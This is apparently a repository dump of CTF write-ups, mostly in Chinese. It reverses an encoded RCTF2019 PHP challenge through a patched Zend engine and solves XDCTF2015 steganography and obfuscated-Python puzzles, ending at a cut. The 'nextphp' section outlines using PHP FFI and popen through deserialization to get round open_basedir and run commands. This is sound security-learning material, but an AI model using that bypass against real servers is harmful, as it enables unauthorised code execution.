| 27 60* ADD !9, 1 464 | 61* FETCH_DIM_R !1, ~50 465 | 62* ASSIGN !10, ~51 466 | $y = $v[$p+1]; 467 | 468 | 28 63* FETCH_DIM_R !1, !9 469 | 470 | 64* INIT_FCALL 'a' 471 | 65* SEND_VAR !7 472 | 66* SEND_VAR !10 473 | 67* SEND_VAR !5 474 | 68* SEND_VAR !9 475 | 69* SEND_VAR !8 476 | 70* SEND_VAR !3 477 | 71* DO_UCALL $55 478 | 479 | $z = $v[$p] = (a($sum, $y, $z, $p, $e, $k)+$v[$p]) & 0xffffffff; 480 | 481 | 482 | 72* ADD ~54, $55 483 | 73* BW_AND ~56, 4.29497e+9 484 | 485 | 74* ASSIGN_DIM $53 !1, !9 486 | 75* OP_DATA ~57 487 | 76* ASSIGN !5, $53 488 | 489 | 26 77* POST_INC !9 490 | 78* FREE ~59 491 | 492 | 79* IS_SMALLER !9, !4 493 | 80* JMPNZ ~60, ->60 494 | } 495 | 496 | 497 | 30 81* FETCH_DIM_R !1, 0 498 | 82* ASSIGN !10, ~61 499 | 500 | $y = $v[0]; 501 | 502 | 31 83* FETCH_DIM_R !1, !4 503 | 504 | 84* INIT_FCALL 'a' 505 | 85* SEND_VAR !7 506 | 86* SEND_VAR !10 507 | 87* SEND_VAR !5 508 | 88* SEND_VAR !9 509 | 89* SEND_VAR !8 510 | 90* SEND_VAR !3 511 | 91* DO_UCALL $65 512 | 513 | $z = $v[$n] = ($v[$n] + a($sum, $y, $z, $p, $e, $k)) & 0xffffffff; 514 | 515 | 92* ADD ~64, $65 516 | 93* BW_AND ~66, 4.29497e+9 517 | 94* ASSIGN_DIM $63 !1, !4 518 | 95* OP_DATA ~67 519 | 96* ASSIGN !5, $63 520 | 521 | 23 97* POST_DEC !6 522 | 98* IS_SMALLER 0, ~69 523 | 99* JMPNZ ~70, ->52 524 | 525 | } 526 | 527 | 33 100* ASSIGN !11, 0 528 | 101* JMP ->110 529 | 530 | 34 102* FETCH_DIM_R !1, !11 531 | $v[$i] 532 | 103* MOD !11, 4 533 | 104* FETCH_DIM_R !3, ~74 534 | 535 | 105* BW_XOR ~73, ~75 536 | 537 | 106* ASSIGN_DIM !1, !11 538 | 107* OP_DATA ~76 539 | 33 108* POST_INC !11 540 | 109* FREE ~77 541 | 110* COUNT !1 542 | 111* IS_SMALLER !11, ~78 543 | 112* JMPNZ ~79, ->102 544 | 545 | 546 | 36 113* IS_EQUAL !1, !2 547 | 114* RETURN ~80 548 | 37 115* RETURN null 549 | ``` 550 | 551 | 似乎vld打印的反汇编的opcode有些地方有点问题(估计版本跟不上opcode变化的原因)。而且有vld不支持`$b`的常量赋值显示``的问题,我在`verify`里调`floor`的时候插一句`eval('var_dump($b);');`就能打出来了,大致如下: 552 | ```c 553 | if (strcmp(ZSTR_VAL(func->common.function_name), "floor") == 0) { 554 | char code[] = "var_dump($b);"; 555 | zend_eval_stringl(code, sizeof(code)-1, NULL, ""); 556 | } 557 | ``` 558 | 559 | 上面人肉反编译的有些地方可能有小问题,结合前面`var_dump`出的`a`函数每次调用的参数可以debug一下还原出的`verify`代码验证下是否完全还原正确(由于`var_dump`打出来的函数调用的参数错位的问题一开始以为最后要`if ($q==1) break;`,结果想起来发现应该是最后轮`a`的参数没打出来的原因...),然后再逆向最终如下: 560 | ```php 561 | > 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z)); 566 | } 567 | 568 | function verify($str) { 569 | $v = unpack("V\x2a", $str.str_repeat("\0", (4-(strlen($str)%4))&3)); 570 | $v = array_values($v); 571 | $v[count($v)]=strlen($str); 572 | $k = [1752186684,1600069744,1953259880,1836016479]; 573 | $b = [1029560848,2323109303,4208702724,3423862500,3597800709,2222997091,4137082249,2050017171,4045896598]; 574 | $n = COUNT($v)-1; 575 | $z = $v[COUNT($v)-1]; 576 | $q = floor(52/COUNT($v)+6); 577 | var_dump($v); 578 | for($sum=0; 0 < $q; $q--) { 579 | 580 | $sum = ($sum + 2654435769) & 0xffffffff; 581 | $e = ($sum >> 2) & 3; 582 | for ($p=0; $p<$n; $p++) { 583 | $z = $v[$p] = ((a($sum, $v[$p+1], $z, $p, $e, $k)+$v[$p]) & 0xffffffff); 584 | } 585 | //if ($q==1) break; 586 | $z = $v[$n] = ($v[$n] + a($sum, $v[0], $z, $p, $e, $k)) & 0xffffffff; 587 | } 588 | for($i=0;$i> 2) & 3; 617 | 618 | $v[$n] = ($v[$n] - a($sum, $v[0], $v[$n-1], $n, $e, $k)) & 0xffffffff; 619 | 620 | for ($p = $n-1; $p != 0; $p--) { 621 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $v[$p-1], $p, $e, $k)) & 0xffffffff; 622 | } 623 | if ($q == $end_q) $z = $v[COUNT($v)-1]; else $z = $v[$n]; 624 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $z, $p, $e, $k)) & 0xffffffff; 625 | 626 | $sum = ($sum - 2654435769) & 0xffffffff; 627 | $e = ($sum >> 2) & 3; 628 | if ($q == $end_q) break; 629 | } 630 | assert($sum == 0); 631 | //var_dump($v); 632 | $ret = ''; 633 | for ($i=0; $i < count($v)-1; $i++) { 634 | $ret .= pack('V',$v[$i]); 635 | } 636 | echo ($ret); 637 | } 638 | ``` 639 | 640 | ### WEB - nextphp 641 | 642 | 上来scandir('.')然后读`preload.php`的代码: 643 | ![doc](nextphp/scandir_fileGetContents.png) 644 | 645 | 然后注意到是`PHP/7.4-dev`,查了update logs,关键信息都在这页上了: 646 | ![doc](nextphp/doc.png) 647 | 648 | 只要仔细读读这页里面给出的RFC链接,https://wiki.php.net/rfc/ffi , 就能懂FFI是什么东西,就是允许php代码直接调用C层面函数。 649 | 650 | 查查提到的相关ini设置: 651 | ``` 652 | /?a=var_dump(ini_get("ffi.enable")); 653 | /?a=var_dump(ini_get("opcache.preload")); 654 | ``` 655 | 656 | ![phpinfo](nextphp/ffi_enable.png) 657 | 658 | 也就是说我们可以通过FFI调用c的popen来绕过open_basedir之类的限制,但是FFI为了安全只设置为了只能在`opcache.preload`用,然后preload里有unserialize那大概就是反序列化的时候调FFI了。 659 | 660 | exp的思路就是`FFI::new`个`char[999]`,`FFI::cdef`然后`popen`执行写入到buf,`zend_write`回显buf。 661 | 662 | 最终payload: 663 | ![final](nextphp/final_payload.png) 664 | 665 | 然而这FFI也是坑,比如`zend_write`要先`clone`一下才能调而`sprintf`又不能clone要直接调啦,原本想让`escapeshellargs`和`shell_exec`交换一下函数指针也不行(`zif_*`貌似没有导出符号的原因,没仔细看),之类的种种坑,懒得搭本地环境看不到错误信息,深夜折腾exp了三小时也是蛋疼... 666 | -------------------------------------------------------------------------------- /RCTF2019/nextphp/doc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/doc.png -------------------------------------------------------------------------------- /RCTF2019/nextphp/ffi_enable.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/ffi_enable.png -------------------------------------------------------------------------------- /RCTF2019/nextphp/final_payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/final_payload.png -------------------------------------------------------------------------------- /RCTF2019/nextphp/scandir_fileGetContents.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/scandir_fileGetContents.png -------------------------------------------------------------------------------- /RCTF2019/sourceGuardian/output3.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/sourceGuardian/output3.txt -------------------------------------------------------------------------------- /RCTF2019/sourceGuardian/output4.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/sourceGuardian/output4.txt -------------------------------------------------------------------------------- /RCTF2019/sourceGuardian/protected.opcode.txt: -------------------------------------------------------------------------------- 1 | filename: D:\php-src\x64\Release\protected.php 2 | function name: a 3 | number of ops: 24 4 | compiled vars: !0 = $q, !1 = $y, !2 = $z, !3 = $p, !4 = $e, !5 = $k 5 | line #* E I O op fetch ext return operands 6 | ------------------------------------------------------------------------------------- 7 | 3 0* RECV 8 | 1* RECV 9 | 2* RECV 10 | 3* RECV 11 | 4* RECV 12 | 5* RECV 13 | 4 6* SR !2, 5 14 | 15 | 16 | 17 | 7* BW_AND ~6, 134217727 18 | 19 | 20 | 8* SL !1, 2 21 | 22 | 23 | 9* BW_XOR ~7, ~8 24 | ((($z >> 5) & 134217727) ^ ($y << 2)) 25 | 26 | 10* SR !1, 3 27 | 28 | 29 | 30 | 11* BW_AND ~10, 536870911 31 | 32 | 33 | 12* SL !2, 4 34 | 13* BW_XOR ~11, ~12 35 | ((($y >> 3) & 536870911) ^ ($z << 4)) 36 | 37 | 14* ADD ~9, ~13 38 | (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4))) 39 | 40 | 15* BW_XOR !0, !1 41 | ($q ^ $y) 42 | 43 | 16* BW_AND !3, 3 44 | 45 | 17* BW_XOR !4, ~16 46 | 47 | 48 | 18* FETCH_DIM_R !5, ~17 49 | 50 | 51 | 19* BW_XOR !2, ~18 52 | ($k[($e ^ ($p & 3))] ^ $z) 53 | 54 | 20* ADD ~15, ~19 55 | (($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z)) 56 | 57 | 21* BW_XOR ~14, ~20 58 | 22* RETURN ~21 59 | 5 23* RETURN null 60 | 61 | 62 | 63 | 64 | $k = [1752186684,1600069744,1953259880,1836016479]; 65 | 66 | function($q, $y, $z, $p, $e, $k) { 67 | return (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z)); 68 | } -------------------------------------------------------------------------------- /RCTF2019/sourceGuardian/solution.php: -------------------------------------------------------------------------------- 1 | > 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z)); 6 | } 7 | 8 | function verify($str) { 9 | $v = unpack("V\x2a", $str.str_repeat("\0", (4-(strlen($str)%4))&3)); 10 | $v = array_values($v); 11 | $v[count($v)]=strlen($str); 12 | $k = [1752186684,1600069744,1953259880,1836016479]; 13 | $b = [1029560848,2323109303,4208702724,3423862500,3597800709,2222997091,4137082249,2050017171,4045896598]; 14 | $n = COUNT($v)-1; 15 | $z = $v[COUNT($v)-1]; 16 | $q = floor(52/COUNT($v)+6); 17 | var_dump($v); 18 | for($sum=0; 0 < $q; $q--) { 19 | 20 | $sum = ($sum + 2654435769) & 0xffffffff; 21 | $e = ($sum >> 2) & 3; 22 | for ($p=0; $p<$n; $p++) { 23 | $z = $v[$p] = ((a($sum, $v[$p+1], $z, $p, $e, $k)+$v[$p]) & 0xffffffff); 24 | } 25 | //if ($q==1) break; 26 | $z = $v[$n] = ($v[$n] + a($sum, $v[0], $z, $p, $e, $k)) & 0xffffffff; 27 | } 28 | for($i=0;$i> 2) & 3; 57 | 58 | $v[$n] = ($v[$n] - a($sum, $v[0], $v[$n-1], $n, $e, $k)) & 0xffffffff; 59 | 60 | for ($p = $n-1; $p != 0; $p--) { 61 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $v[$p-1], $p, $e, $k)) & 0xffffffff; 62 | } 63 | if ($q == $end_q) $z = $v[COUNT($v)-1]; else $z = $v[$n]; 64 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $z, $p, $e, $k)) & 0xffffffff; 65 | 66 | $sum = ($sum - 2654435769) & 0xffffffff; 67 | $e = ($sum >> 2) & 3; 68 | if ($q == $end_q) break; 69 | } 70 | assert($sum == 0); 71 | //var_dump($v); 72 | $ret = ''; 73 | for ($i=0; $i < count($v)-1; $i++) { 74 | $ret .= pack('V',$v[$i]); 75 | } 76 | echo ($ret); 77 | } -------------------------------------------------------------------------------- /RCTF2019/sourceGuardian/sourceguardian.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/sourceGuardian/sourceguardian.txt -------------------------------------------------------------------------------- /RCTF2019/sourceGuardian/zend_changes.diff: -------------------------------------------------------------------------------- 1 | 2 | 3 | ----------------------------- Zend/zend_execute.h ----------------------------- 4 | index d09a3f3..cd7612a 100644 5 | @@ -171,6 +171,20 @@ ZEND_API void zend_vm_stack_init(void); 6 | ZEND_API void zend_vm_stack_destroy(void); 7 | ZEND_API void* zend_vm_stack_extend(size_t size); 8 | 9 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args); 10 | + 11 | +ZEND_API zend_op_array *(*zend_compile_file)(zend_file_handle *file_handle, int type); 12 | +typedef zend_op_array *(*comp_file_t)(zend_file_handle *file_handle, int type); 13 | +static comp_file_t sg_comp_file = NULL; 14 | + 15 | +extern void vld_dump_oparray (zend_op_array *opa); 16 | + 17 | +static zend_op_array *new_zend_compile_file(zend_file_handle *file_handle, int type) { 18 | + zend_op_array *op_arr = sg_comp_file(file_handle, type); 19 | + vld_dump_oparray(op_arr); 20 | + return op_arr; 21 | +} 22 | + 23 | static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, uint32_t call_info, zend_function *func, uint32_t num_args, zend_class_entry *called_scope, zend_object *object) 24 | { 25 | call->func = func; 26 | @@ -182,6 +196,25 @@ static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, 27 | ZEND_SET_CALL_INFO(call, 0, call_info); 28 | } 29 | ZEND_CALL_NUM_ARGS(call) = num_args; 30 | + 31 | + /*if (func && !func->common.function_name) { 32 | + vld_dump_oparray(&(func->op_array)); 33 | + }*/ 34 | + if (func && func->common.function_name) { 35 | + /*if (strcmp(ZSTR_VAL(func->common.function_name), "var_dump") == 0) { 36 | + if (!sg_comp_file) { 37 | + sg_comp_file = zend_compile_file; 38 | + zend_compile_file = new_zend_compile_file; 39 | + } 40 | + }*/ 41 | + if (strcmp(ZSTR_VAL(func->common.function_name), "verify") == 0) { 42 | + vld_dump_oparray(&(func->op_array)); 43 | + } 44 | + if (strcmp(ZSTR_VAL(func->common.function_name), "a") == 0) { 45 | + printf("FUNC2 %s\n", ZSTR_VAL(func->common.function_name)); 46 | + php_my_compile_string(call, num_args); 47 | + } 48 | + } 49 | } 50 | 51 | static zend_always_inline zend_execute_data *zend_vm_stack_push_call_frame_ex(uint32_t used_stack, uint32_t call_info, zend_function *func, uint32_t num_args, zend_class_entry *called_scope, zend_object *object) 52 | 53 | 54 | ------------------------- Zend/zend_language_scanner.c ------------------------- 55 | index 5d6d9ca..3acea8b 100644 56 | @@ -764,6 +764,7 @@ zend_op_array *compile_string(zval *source_string, char *filename) 57 | zval_ptr_dtor(&tmp); 58 | return NULL; 59 | } 60 | + //zend_write(Z_STRVAL_P(&tmp), Z_STRLEN(tmp)); 61 | 62 | zend_save_lexical_state(&original_lex_state); 63 | if (zend_prepare_string_for_scanning(&tmp, filename) == SUCCESS) { 64 | @@ -777,6 +778,27 @@ zend_op_array *compile_string(zval *source_string, char *filename) 65 | return op_array; 66 | } 67 | 68 | +extern void php_var_dump(zval *struc, int level); 69 | + 70 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args) { 71 | + char code[] = "var_dump($v);"; 72 | + zend_eval_stringl(code, sizeof(code)-1, NULL, ""); 73 | + 74 | + zend_execute_data *execute_data = call; 75 | + 76 | + zval *args; 77 | + int argc; 78 | + int i; 79 | + 80 | + ZEND_PARSE_PARAMETERS_START(num_args, num_args) 81 | + Z_PARAM_VARIADIC('+', args, argc) 82 | + ZEND_PARSE_PARAMETERS_END(); 83 | + 84 | + for (i = 0; i < argc; i++) { 85 | + printf("args[%d]: ", i); 86 | + php_var_dump(&args[i], 1); 87 | + } 88 | +} 89 | 90 | BEGIN_EXTERN_C() 91 | int highlight_file(char *filename, zend_syntax_highlighter_ini *syntax_highlighter_ini) 92 | 93 | ---------------------------- Zend/zend_vm_execute.h ---------------------------- 94 | index 5355f7b..18f56ea 100644 95 | @@ -60814,9 +60814,16 @@ zend_leave_helper_SPEC_LABEL: 96 | zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen"); 97 | } 98 | 99 | + 100 | +#include "srm_oparray.c" 101 | +#include "set.c" 102 | +#include "branchinfo.c" 103 | +#include "vld.c" 104 | + 105 | ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value) 106 | { 107 | zend_execute_data *execute_data; 108 | + vld_dump_oparray(op_array); 109 | 110 | if (EG(exception) != NULL) { 111 | return; 112 | -------------------------------------------------------------------------------- /XDCTF2015/README.md: -------------------------------------------------------------------------------- 1 | # XDCTF 2015 Writeup 2 | 3 | ## MISC 300 4 | 5 | 上来肯定先例行检查下LSB啦 6 | 7 | ```python 8 | >>> import Image 9 | >>> a=Image.open('zxczxc.png') 10 | >>> a.point(lambda i: 255 if i&1 else 0).show() 11 | ``` 12 | 13 | ![MISC300_1](misc300_1.png) 14 | 15 | 可以发现第一列有藏着东西,仔细看看像素值 16 | 17 | ```python 18 | >>> for i in xrange(100): 19 | ... print a.getpixel((0,i)) 20 | ... 21 | (252, 255, 254) 22 | (253, 252, 255) 23 | (254, 252, 252) 24 | (254, 253, 254) 25 | (252, 255, 253) 26 | (252, 253, 254) 27 | (253, 254, 252) 28 | (254, 252, 255) 29 | (253, 255, 253) 30 | (252, 253, 254) 31 | (254, 253, 252) 32 | (254, 253, 253) 33 | (253, 254, 253) 34 | (252, 253, 254) 35 | (252, 255, 252) 36 | ... 37 | ``` 38 | 39 | 发现其在252~255之间,那就是用了最后两位藏数据 40 | 最后试了下是按像素顺序、RGB顺序、倒数第二第一位的顺序排列的01串 41 | 42 | ```python 43 | >>> s='' 44 | >>> for i in xrange(165): 45 | ... p=a.getpixel((0,i)) 46 | ... for k in xrange(3): 47 | ... s+='1' if p[k]&2 else '0' 48 | ... s+='1' if p[k]&1 else '0' 49 | ... 50 | >>> s 51 | '001110010011100000100110001101000110011000100011011101000110100100100101011001000110001100110010001100010011000000101110001100100011011100101110001100010011000000101110001100010011100100110101001011010011001000110000001100010011010100101101001100000011100100101101001100010011011001010100001100000011010100111010001100100011000100111010001101010011001000101011001100000011001000111010001100000011000000111001001110000010011000110100011001100010001101110100011010010010010101100100011000110111100011011010101010110100100001001001001011100100100110101011001011100010111000110001010011100100111111001100001100110100100000101111001100100010100111001000101010001101010001001101110011010100101100110110010010000011000111010110001101010011011110101110001010001101000100110101110011000010101111001001110101110011010111001100001101010100100101001111101011010000010100000000010110100111000000001111000101110011100100111000001001100011010001100110001000110111010001101001001001010110010001100011111111' 52 | >>> def tostr(s): 53 | ... ret='' 54 | ... for i in xrange(0, len(s), 8): 55 | ... ret+=chr(int(s[i:i+8],2)) 56 | ... return ret 57 | ... 58 | >>> tostr(s) 59 | '98&4f#ti%dc210.27.10.195-2015-09-16T05:21:52+02:0098&4f#ti%dcx\xda\xabHI.I\xab..1NO\xcc3H/2)\xc8\xa8\xd4M\xcdK6H1\xd657\xae(\xd15\xcc+\xc9\xd75\xcc5IO\xad\x05\x00Zp\x0f\x1798&4f#ti%dc?' 60 | >>> 61 | ``` 62 | 63 | 可以看到210.27.10.195-2015-09-16T05:21:52+02:00以及分隔符样的东西98&4f#ti%dc 64 | 一开始还以为那个IP 210.27.10.195有什么东西... 65 | 然后队友说这是zlib compressed才注意到第二个分隔符后有x\xda这个头..... 66 | 67 | ```python 68 | >>> import zlib 69 | >>> zlib.decompress('x\xda\xabHI.I\xab..1NO\xcc3H/2)\xc8\xa8\xd4M\xcdK6H1\xd657\xae(\xd15\xcc+\xc9\xd75\xcc5IO\xad\x05\x00Zp\x0f\x1798&4f#ti%dc') 70 | 'xdctf{st3gan0gr4phy-enc0d3-73xt-1nto-1m4ge}' 71 | ``` 72 | 73 | 得到Flag 74 | 75 | 76 | 77 | ## REVERSE 300 78 | 79 | ### 尝试 80 | 81 | 原源代码: 82 | ```python 83 | (lambda __g, __y: [[[[[[[(fin.close(), [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(ss.append(c), (sss.append(0), __this())[1])[1] for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(s), lambda: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __value: [__this() for __g['sssss'] in [((lambda __ret: __g['sssss'] + __value if __ret is NotImplemented else __ret)(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value)))]][0])(chr(c)) for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(ssss), lambda: [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) for __g['sssss'] in [('')]][0] for __g['ssss'] in [(encode(ss, sss))]][0], []) for __g['sss'] in [([])]][0] for __g['ss'] in [([])]][0])[1] for __g['s'] in [(fin.read().strip())]][0] for __g['fin'] in [(open('flag.txt', 'r'))]][0] for __g['encode'], encode.__name__ in [(lambda data, buf: (lambda __l: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['data'][__l['i']] in [((table.index(__l['data'][__l['i']]) + 1))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[[__this() for __l['buf'] in [(setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j'])))]][0] for __l['j'] in [((((__l['i'] / 6) * 8) + (__l['i'] % 6)))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))]][0] for __l['data'], __l['buf'] in [(data, buf)]][0])({}), 'encode')]][0] for __g['getbit'], getbit.__name__ in [(lambda p, pos: (lambda __l: [[[((__l['p'][__l['cpos']] >> __l['bpos']) & 1) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'] in [(p, pos)]][0])({}), 'getbit')]][0] for __g['setbit'], setbit.__name__ in [(lambda p, pos, value: (lambda __l: [[[(lambda __target, __slice, __value: [(lambda __target, __slice, __value: [__l['p'] for __target[__slice] in [((lambda __old: (lambda __ret: __old | __value if __ret is NotImplemented else __ret)(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (__l['value'] << __l['bpos'])) for __target[__slice] in [((lambda __old: (lambda __ret: __old & __value if __ret is NotImplemented else __ret)(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (~(1 << __l['bpos']))) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)]][0])({}), 'setbit')]][0] for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)())))) 84 | ``` 85 | 86 | 一大堆lambda...嗯,其实这题还是很简单的... 87 | 88 | 在本地尝试执行,并查看globals(),得 89 | 90 | ```python 91 | Traceback (most recent call last): 92 | File "", line 1, in 93 | File "", line 1, in 94 | IOError: [Errno 2] No such file or directory: 'flag.txt' 95 | >>> globals() 96 | {'string': , '__builtins__': , '__package__': None, 'i': 654, 'table': '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~', 'encode': , '__name__': '__main__', 'getbit': , '__doc__': None, 'setbit': } 97 | ``` 98 | 99 | 也就是import string,并生成了encode(), getbit(), setbit()的函数,还有一个table 100 | 下面还是先介绍下背景知识吧.... 101 | 102 | ### 函数式编程与lambda运算 103 | 104 | 这个程序跟函数式编程还是有一定关系的,当然不会也能做... 105 | 下面就是这个.py的主要trick 106 | 107 | #### 等量代换(实现where语句,scope内赋值) 108 | 109 | 不妨先看下这样的例子: 110 | `[y for y in [1]] == [1]` 111 | 112 | 再看个复杂点的 113 | ```python 114 | [x for x in [range(3)]] == [x for x in [[0, 1, 2]]] == [ [0,1,2] ] 115 | ``` 116 | 117 | 如果把最外层的方括号看成一个scope,也就是如同C语言里的{}所起的作用一样,那么这句话就是一个等量代换,把这句话变形一下易于理解,即: 118 | ``` 119 | [ 120 | x 121 | for x in [range(3)] 122 | ] 123 | ``` 124 | 125 | 去掉in,得 126 | 127 | ``` 128 | [ 129 | x 130 | for x = range(3) 131 | ] 132 | ``` 133 | 134 | 把最外层[]理解成c语言的scope 135 | 136 | ``` 137 | { 138 | x = range(3) 139 | 返回 x 140 | } 141 | ``` 142 | 143 | 求值得 144 | 145 | ``` 146 | { 147 | [0, 1, 2] 148 | } 149 | ``` 150 | 151 | 把scope变回来,即得`[ [0,1,2] ]` 152 | 换句话,我们得到两个等量代换式: 153 | 154 | `[blahblah(x) for x in [y] ] == [blahblah(x) where x = y]` 155 | `[blahblah(x) for x in [[y]][0] ] == [blahblah(x) where x = y]` 156 | 157 | 这样相当于haskell的where语句 158 | 159 | 也就是说,可以用这种形式实现在scope内的赋值操作,在scope内把x赋值为y 160 | 比如说,要想得到`[(0, 0)]`我们可以这样写: 161 | `[(x, y) for x in [0] for y in [[0]][0]] == [(0, 0)]` 162 | 163 | ### lambda calculus beta规约(实现let语句) 164 | 165 | 以下是lambda calculus的beta规约定理的例子: 166 | 167 | ```python 168 | (lambda j: j*2)(3) == (3*2) == 6 169 | ``` 170 | 171 | 如果把lambda运算内部视为一个scope,那么就相当于 172 | ``` 173 | lambda: 174 | let j = 3: 175 | return j*2 176 | ``` 177 | 178 | 179 | #### 开始逆向 180 | 181 | trick讲完了,就可以粗粗整理下代码了,加些赋值符号: 182 | 183 | ```python 184 | (lambda __g, __y: [[[[[[[(fin.close(), [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: 185 | 186 | (lambda __i: [(ss.append(c), (sss.append(0), __this())[1])[1] 187 | for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after()) 188 | 189 | (next(__items, __sentinel)))())(iter(s), lambda: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __value: [__this() for __g['sssss'] in [((lambda __ret: __g['sssss'] + __value if __ret is NotImplemented else __ret)(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value)))]][0])(chr(c)) for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(ssss), lambda: [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) 190 | 191 | for __g['sssss'] in [('')]][0] 192 | for __g['ssss'] in [(encode(ss, sss))]][0], []) 193 | for __g['sss'] in [([])]][0] 194 | for __g['ss'] in [([])] 195 | 196 | ][0])[1] 197 | 198 | for __g['s'] in [(fin.read().strip())]][0] 199 | 200 | for __g['fin'] in [(open('flag.txt', 'r'))]][0] 201 | 202 | for __g['encode'], encode.__name__ in [ 203 | 204 | (lambda data, buf: 205 | (lambda __items, __after, __sentinel: 206 | __y(lambda __this: lambda: 207 | (lambda __i: 208 | [data['i'] = ((table.index(data['i']) + 1)) 209 | if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), 210 | 211 | lambda: (lambda __items, __after, __sentinel: 212 | __y(lambda __this: lambda: (lambda __i: [[[ 213 | 214 | __this() for __l['buf'] in [( 215 | j=(i / 6) * 8 + (i % 6) 216 | setbit(buf, i, getbit(data, j)) 217 | 218 | if __i is not __sentinel else __after())(next(__items, __sentinel)))()) 219 | 220 | (iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))] ) 221 | 222 | ]][0] 223 | 224 | for __g['getbit'], getbit.__name__ in [(lambda p, pos: (lambda __l: [[[((__l['p'][__l['cpos']] >> __l['bpos']) & 1) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'] in [(p, pos)]][0])({}), 'getbit')]][0] 225 | 226 | for __g['setbit'], setbit.__name__ in [(lambda p, pos, value: (lambda __l: [[[(lambda __target, __slice, __value: [(lambda __target, __slice, __value: [__l['p'] for __target[__slice] in [((lambda __old: (lambda __ret: __old | __value if __ret is NotImplemented else __ret)(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (__l['value'] << __l['bpos'])) for __target[__slice] in [((lambda __old: (lambda __ret: __old & __value if __ret is NotImplemented else __ret)(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (~(1 << __l['bpos']))) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, 